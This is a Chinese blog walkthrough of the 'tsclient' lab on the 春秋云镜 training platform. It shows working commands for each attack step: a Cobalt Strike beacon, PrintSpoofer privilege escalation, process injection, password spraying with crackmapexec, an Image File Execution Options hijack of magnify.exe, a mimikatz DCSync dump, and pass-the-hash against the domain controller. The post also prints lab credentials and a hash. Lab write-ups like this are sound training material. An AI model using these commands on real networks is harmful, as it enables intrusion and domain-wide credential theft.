春秋云镜 tsclient

入口机

给了个ip首先用fscan扫一下看看
image

发现存在mysql远程登录,弱口令都扫出来了.
使用MDUT进行远程登录
登录以后上传cs马,选(s)这个.
image

注意要上传到C:/Users/Public/,因为public文件夹通常有写的权限
然后执行命令C:/Users/Public/beacon.exe回到cs中成功得到shell
image

调整休眠时间为1以降低延迟
image

运行ipconfig命令
image

发现没有DNS,猜测在工作组,没在域中
简单说一下工作组和域的区别

  • 域(Domain)

    • 集中管理:通过域控制器(Domain Controller)集中管理用户帐户、计算机和安全策略。
    • 统一身份验证:用户可以使用同一个帐户在域内的任何计算机上登录。
    • 适用于大型网络:通常用于企业和组织的网络环境。
  • 工作组(Workgroup)

    • 对等网络:每台计算机独立管理,没有集中管理。
    • 独立身份验证:用户需要在每台计算机上分别创建和管理帐户。
    • 适用于小型网络:通常用于家庭网络或小型办公室。
      运行systeminfo命令
beacon> shell systeminfo
[*] Tasked beacon to run: systeminfo
[+] host called home, sent: 41 bytes
[+] received output:

主机名:           WIN-WEB
OS 名称:          Microsoft Windows Server 2016 Datacenter
OS 版本:          10.0.14393 暂缺 Build 14393
OS 制造商:        Microsoft Corporation
OS 配置:          独立服务器
OS 构件类型:      Multiprocessor Free
注册的所有人:     
注册的组织:       Aliyun
产品 ID:          00376-40000-00000-AA947
初始安装日期:     2022/7/11, 12:46:14
系统启动时间:     2024/8/14, 9:32:11
系统制造商:       Alibaba Cloud
系统型号:         Alibaba Cloud ECS
系统类型:         x64-based PC
处理器:           安装了 1 个处理器。
                  [01]: Intel64 Family 6 Model 85 Stepping 7 GenuineIntel ~2500 Mhz
BIOS 版本:        SeaBIOS 449e491, 2014/4/1
Windows 目录:     C:\Windows
系统目录:         C:\Windows\system32
启动设备:         \Device\HarddiskVolume1
系统区域设置:     zh-cn;中文(中国)
输入法区域设置:   zh-cn;中文(中国)
时区:             (UTC+08:00) 北京,重庆,香港特别行政区,乌鲁木齐
物理内存总量:     3,950 MB
可用的物理内存:   1,441 MB
虚拟内存: 最大值: 4,689 MB
虚拟内存: 可用:   1,073 MB
虚拟内存: 使用中: 3,616 MB
页面文件位置:     C:\pagefile.sys
域:               WORKGROUP
登录服务器:       暂缺
修补程序:         安装了 6 个修补程序。
                  [01]: KB5013625
                  [02]: KB4049065
                  [03]: KB4486129
                  [04]: KB4486131
                  [05]: KB5014026
                  [06]: KB5013952
网卡:             安装了 1 个 NIC。
                  [01]: Red Hat VirtIO Ethernet Adapter
                      连接名:      以太网
                      启用 DHCP:   是
                      DHCP 服务器: 172.22.255.253
                      IP 地址
                        [01]: 172.22.8.18
                        [02]: fe80::7cb3:9f30:e832:2963
Hyper-V 要求:     已检测到虚拟机监控程序。将不显示 Hyper-V 所需的功能。

还真是工作组,没能进入到域中.
我们发现版本为windwos server 2016,该版本存在PrintSpoofer提权漏洞.
PrintSpoofer是一种利用Windows打印后台处理程序服务漏洞进行提权的工具,受影响的版本如下:

  1. Windows 7
  2. Windows 8
  3. Windows 8.1
  4. Windows 10
  5. Windows Server 2008
  6. Windows Server 2008 R2
  7. Windows Server 2012
  8. Windows Server 2012 R2
  9. Windows Server 2016
  10. Windows Server 2019
    我们通过MDUT上传PrintSpoofer64.exe,然后运行命令
shell C:/Users/Public/PrintSpoofer64.exe -i -c "whoami"

发现回显为system
image

运行命令

shell C:/Users/Public/PrintSpoofer64.exe -i -c "C:/Users/Public/beacon.exe"

成功拿到了一个system shell
image

然后运行命令

shell type C:\\Users\Administrator\flag\flag01.txt

image

成功的拿到了第一个flag:flag{1006e158-8369-42a3-bd73-82761c810eda}

内网渗透

传个fscan扫一下内网

beacon> shell C:/Users/Public/fscan.exe -h 172.22.8.18/24 -no -nopoc
[*] Tasked beacon to run: C:/Users/Public/fscan.exe -h 172.22.8.18/24 -no -nopoc
[+] host called home, sent: 85 bytes
[+] received output:
   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.3
start infoscan
(icmp) Target 172.22.8.18     is alive
(icmp) Target 172.22.8.15     is alive
(icmp) Target 172.22.8.31     is alive
(icmp) Target 172.22.8.46     is alive
[*] Icmp alive hosts len is: 4
172.22.8.18:1433 open
172.22.8.46:445 open
172.22.8.31:445 open
172.22.8.31:135 open
172.22.8.15:445 open
172.22.8.18:445 open
172.22.8.46:139 open
172.22.8.15:139 open
172.22.8.31:139 open
172.22.8.46:135 open
172.22.8.15:135 open
172.22.8.18:139 open
172.22.8.18:135 open
172.22.8.46:80 open
172.22.8.18:80 open
172.22.8.15:88 open
[*] alive ports len is: 16
start vulscan
[*] NetInfo 
[*]172.22.8.15
   [->]DC01
   [->]172.22.8.15
[*] NetInfo 
[*]172.22.8.18
   [->]WIN-WEB
   [->]172.22.8.18
   [->]2001:0:348b:fb58:1cc4:2fd9:d89c:68f2
[*] NetInfo 
[*]172.22.8.31
   [->]WIN19-CLIENT
   [->]172.22.8.31
[*] NetInfo 
[*]172.22.8.46
   [->]WIN2016
   [->]172.22.8.46
[*] NetBios 172.22.8.31     XIAORANG\WIN19-CLIENT         
[*] NetBios 172.22.8.46     WIN2016.xiaorang.lab                Windows Server 2016 Datacenter 14393
[*] NetBios 172.22.8.15     [+] DC:XIAORANG\DC01           
[*] WebTitle http://172.22.8.46        code:200 len:703    title:IIS Windows Server
[*] WebTitle http://172.22.8.18        code:200 len:703    title:IIS Windows Server
[+] mssql 172.22.8.18:1433:sa 1qaz!QAZ

得到了局域网内的四个机器:

172.22.8.18 为当前机器
172.22.8.15 DC域控,域名为xiaorang.lab
172.22.8.31 WIN19-CLIENT
172.22.8.46 WIN2016

看到提示关注user sessions(用户的会话)
进行用户信息搜集
image

查看当前登录用户,发现有一个john远程桌面登录.
image

我们进行进程注入攻击
image

选择process list查看进程,然后找到svchost.exe远程桌面登录的进程,点击inject进行注入.
得到john的shell,通过net use命令查看网络共享资源.
image

发现通过Tsclient挂载了C盘.
tsclient是rdp协议下的一款工具,通过图形化页面与远程计算机连接.同时,也指被挂载到远程计算机上的目录为\\TSCLIENT\
看看里面有啥
image

credential.txt一般是用来存储凭据信息的,可能包含用户名,密码等.我们查看内容.
image

提示我们进行映像攻击,由于给了用户名和密码,因此考虑进行密码喷洒
什么是密码喷洒?密码喷洒就是在知道了一些内网主机的用户名和密码以后(或是用密码本),用他们去爆破内网主机的用户名和密码.
先通过cs挂一个socket4代理
image

然后再proxychains配置,服务为socks4,地址为服务器ip:选择的端口
使用crackmapexec

proxychains -q crackmapexec smb 172.22.8.18/24 -u 'Aldrich' -p 'Ald@rLMWuy7Z!#'

image

发现局域网内所有的机器密码都是这个...推断其他机器都在域中
使用rdesktop进行远程登录(只有这个能登录上)

proxychains rdesktop 172.22.8.31 -u 'Aldrich' -d 'xiaorang.lab' -p 'Ald@rLMWuy7Z!#' -r clipboard:CLIPBOARD

卡的像狗一样...
一上线就要求我改密码,改为Lbz@041130
登录WIN2016,同时将本地文件夹挂载上去.

proxychains rdesktop 172.22.8.46 -u 'Aldrich' -d 'xiaorang.lab' -p 'Lbz@041130' -r disk:share=/home/lbz/CTFtools/mimikatz

注意:默认挂载到\\TSCLIENT\share下.
查看信息systeminfo
image

发现该机器在域内.然而ping baidu发现不出网
由于之前的提示,我们尝试镜像劫持提权(放大镜提权)
提权条件:普通用户有权限修改注册表.
首先在powershell下执行命令

get-acl -path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" | fl *

对这个命令进行解析:
Image File Execution Options是注册表中的一项,在执行可执行文件前会先去调用,主要用于调试和控制可执行文件的行为.而上述命令会将该项的信息以列表形式输出.
image

我们发现NT AUTHORITY\Authenticated Users Allow,也就说所有用户都有权限修改注册表.
在cmd下执行命令

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

命令解释:REG代表注册表操作,ADD代表添加一项.HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe是放大镜对应的那项,在该项下添加了一个叫Debugger的字符串,字符串的值设置为C:\windows\system32\cmd.exe.也就是说,会在启动放大镜程序之前启动调试器程序,然而调试器程序被我们设置为system cmd.
image

看到成功的运行.
我们锁定屏幕,然后启动放大镜程序
image

发现成功得到了system shell
image

翻找成功拿到了第二个flag
image

flag:flag{c5e2060b-43ed-4733-bec0-4e94374e429f}
接下来进行DCsync攻击
运行命令

\\TSCLIENT\share\mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:xiaorang.lab /all /csv" "exit"

image

成功得到了域管理员的哈希2c9d81bdcf3ec8b1def10328a7cc2f08
通过哈希横传登录DC域控,拿到flag

proxychains crackmapexec smb 172.22.8.15 -u administrator -H 2c9d81bdcf3ec8b1def10328a7cc2f08 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

image

flag:flag{09795d46-563f-4f71-9527-afec4259e9bd}

共用时5小时42分钟,其中有将近3小时卡在了不出网传文件这一步.pythok使用的是windows下的mstsc.exe,可以直接拖文件进去.然而我使用的是kali下的rdesktop,不能.花了很久也没找到怎么处理.其中还发现,cs在挂上代理后shell就彻底失效了,无法运行命令.最后意识到可以直接使用tsclient来挂载目录,也算回扣靶标标题了.
最后一句话,我讨厌windows!
image

posted @ 2024-08-15 11:22  colorfullbz  阅读(468)  评论(0)    收藏  举报